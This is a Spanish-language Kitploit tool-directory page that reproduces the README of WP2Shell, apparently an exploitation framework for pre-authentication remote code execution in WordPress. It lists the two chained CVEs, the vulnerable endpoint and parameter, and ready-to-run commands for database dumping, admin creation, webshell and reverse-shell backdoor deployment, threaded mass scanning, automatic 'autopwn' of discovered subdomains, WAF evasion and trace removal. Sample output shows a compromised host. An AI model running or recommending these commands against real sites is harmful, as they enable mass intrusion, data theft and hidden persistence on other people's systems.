Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
WP2Shell — Marco de explotación modular para WordPress pre-autenticación que encadena inyección SQL y bypass de autenticación para lograr ejecución remota de código, shells interactivas, backdoors y escaneo masivo de vulnerabilidades. | Kitploit
Herramientas/GitHubGitHub/g0d150ne/wp2shell
Frameworks de Pruebas de PenetraciónReconocimientoEscáneres de VulnerabilidadesFrameworks de ExploitsMecanismos de PersistenciaExplotaciónExplotación de Aplicaciones WebEvasión de WAFHerramienta de Acceso RemotoDesarrollo de Payloads
GitHub
hace 9 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
g0d150ne/wp2shell

WP2Shell

Marco de explotación modular para WordPress pre-autenticación que encadena inyección SQL y bypass de autenticación para lograr ejecución remota de código, shells interactivas, backdoors y escaneo masivo de vulnerabilidades.

Ver Repositorio

WP2Shell - Exploit de RCE Pre-Auth de WordPress

CVE-2026-63030 + CVE-2026-60137
Versión: 4.0.0
Autor: G0D150NE

📌 Descripción general

WP2Shell es una herramienta de explotación de cadena completa para la ejecución remota de código pre-autenticación en WordPress. Combina dos vulnerabilidades críticas:

  • CVE-2026-63030 - Inyección SQL en el endpoint Batch de la API REST
  • CVE-2026-60137 - Omisión de autenticación mediante envenenamiento de caché oEmbed

Esta herramienta permite comprometer por completo instalaciones vulnerables de WordPress sin ninguna autenticación, desde la detección hasta la RCE completa y la persistencia.

⚡ Características

  • 🔍 Comprobación no destructiva - Confirmación segura de vulnerabilidad
  • 📊 Extracción multitécnica - UNION, basada en errores, SQLi ciega
  • 🚀 Cadena RCE completa - De la SQLi a la creación de una cuenta de administrador
  • 🐚 Despliegue de webshell - Puerta trasera oculta basada en plugin
  • 🧹 Capacidad de limpieza - Elimina todos los rastros
  • 📡 Escaneo masivo - Escáner con hilos para múltiples objetivos
  • 🤖 Modo autopwn - Descubrimiento de subdominios + explotación automática
  • 🌐 Rotación de proxies - Soporte para proxies rotativos
  • 🕵️ Modo sigiloso - Retardos aleatorios y técnicas de evasión de WAF

🔧 Instalación

root@kitploit:~
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Uso

Estructura de comandos

root@kitploit:~
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Comandos disponibles

🚀 Ejemplos

1. Comprobación de vulnerabilidad

root@kitploit:~
python3 wp2shell.py check https://target.com
root@kitploit:~
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Extracción de datos

Huella básica:

root@kitploit:~
python3 wp2shell.py read https://target.com

Extraer usuarios:

root@kitploit:~
python3 wp2shell.py read https://target.com --preset users

Consulta personalizada:

root@kitploit:~
python3 wp2shell.py read https://target.com --query "SELECT @@version"

Volcar toda la base de datos:

root@kitploit:~
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Explotación completa

Explotación básica:

root@kitploit:~
python3 wp2shell.py exploit https://target.com

Explotación con shell interactivo:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --interactive

Explotación con instalación de puerta trasera:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Explotación con volcado de base de datos:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --dumpdb

Explotación con limpieza (eliminar rastros):

root@kitploit:~
python3 wp2shell.py exploit https://target.com --cleanup

4. Uso de credenciales de administrador existentes

root@kitploit:~
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
root@kitploit:~
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Escaneo masivo

root@kitploit:~
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Modo Autopwn (automatización completa)

root@kitploit:~
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

Esto hará lo siguiente:

  1. Descubrir subdominios mediante crt.sh
  2. Identificar instalaciones de WordPress
  3. Explotar todos los sitios vulnerables
  4. Instalar puertas traseras en los objetivos con éxito

🎮 Shell interactivo

Tras la explotación, obtienes un shell interactivo completo:

root@kitploit:~
python3 wp2shell.py exploit https://target.com -i
root@kitploit:~
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Referencia de opciones

Opciones comunes

Opciones del comando read

Opciones del comando exploit

🔬 Detalles técnicos

Cadena de vulnerabilidades

  1. Inyección SQL (CVE-2026-63030)

    • Ocurre en el endpoint /wp-json/batch/v1
    • El parámetro author_exclude es vulnerable a SQLi ciega basada en tiempo
    • Permite extracción basada en UNION y en errores
  2. Omisión de autenticación (CVE-2026-60137)

    • Envenenamiento de caché oEmbed mediante el parámetro /_embed
    • Permite crear usuarios administradores mediante el changeset del personalizador
    • Activa la cadena de reentrada para la creación de cuentas privilegiadas

Versiones de WordPress compatibles

Técnicas de extracción

📊 Ejemplos de salida

Explotación exitosa

root@kitploit:~
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ Descargo de responsabilidad

Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El uso contra sistemas sin permiso explícito es ilegal. Los autores no asumen ninguna responsabilidad por el mal uso.

📚 Referencias

  • CVE-2026-63030
  • CVE-2026-60137
  • Aviso de seguridad de WordPress
  • Blog técnico de WP2Shell

🤝 Contribuciones

¿Encontraste un error? ¿Quieres mejorar la herramienta? ¡Las pull requests son bienvenidas!

  1. Haz un fork del repositorio
  2. Crea tu rama de características
  3. Haz commit de tus cambios
  4. Haz push a la rama
  5. Abre una Pull Request

📄 Licencia

Licencia MIT: consulta el archivo LICENSE para más detalles.

Descargar herramienta
ComandoDescripción
checkConfirmación no destructiva de vulnerabilidad
readExtrae datos mediante inyección SQL
exploitCadena RCE completa pre-autenticación
shellDespliega webshell con credenciales existentes
masscanEscaneo masivo de múltiples objetivos
autopwnDescubrimiento automático → escaneo → explotación
OpciónDescripción
--timeoutTiempo de espera HTTP en segundos (predeterminado: 30)
--proxiesLista de proxies separada por comas (p. ej., http://127.0.0.1:8080)
--stealthHabilita el modo sigiloso con retardos aleatorios
-v, --verboseHabilita la salida de depuración
-q, --quietSuprime el banner y los mensajes informativos
OpciónDescripción
--prefixPrefijo de tabla (predeterminado: wp_)
--auto-prefixDescubre automáticamente el prefijo de tabla
--max-lengthMáximo de caracteres por valor (predeterminado: 128)
--techniqueTécnica de extracción: auto/union/error/blind
--presetPreajuste de datos: fingerprint/users/dumpall
--queryExpresión SQL arbitraria para extraer
OpciónDescripción
--prefixPrefijo de tabla (predeterminado: wp_)
--no-discoverOmite el descubrimiento automático, usa los valores predeterminados
-i, --interactiveAccede a un shell tras la explotación
-c, --commandEjecuta un único comando tras la explotación
--backdoorInstala una puerta trasera de persistencia
--lhostLHOST para el shell inverso (predeterminado: 10.0.0.1)
--lportLPORT para el shell inverso (predeterminado: 4444)
--dumpdbVuelca la base de datos tras la explotación
--cleanupElimina el usuario creado y la webshell al salir
VersiónEstado
6.9.0✅ Vulnerable
6.9.1✅ Vulnerable
6.9.2✅ Vulnerable
6.9.3✅ Vulnerable
6.9.4✅ Vulnerable
7.0.0✅ Vulnerable
7.0.1✅ Vulnerable
≥ 7.0.2❌ Parcheada
TécnicaVelocidadTamaño de datosRequisitos
UNION⚡ Muy rápidaIlimitadoEl objetivo no debe filtrar UNION
Error🚀 Rápida~30 caracteres/solicitudEl objetivo debe exponer mensajes de error
Blind🐢 LentaIlimitadoOráculo booleano disponible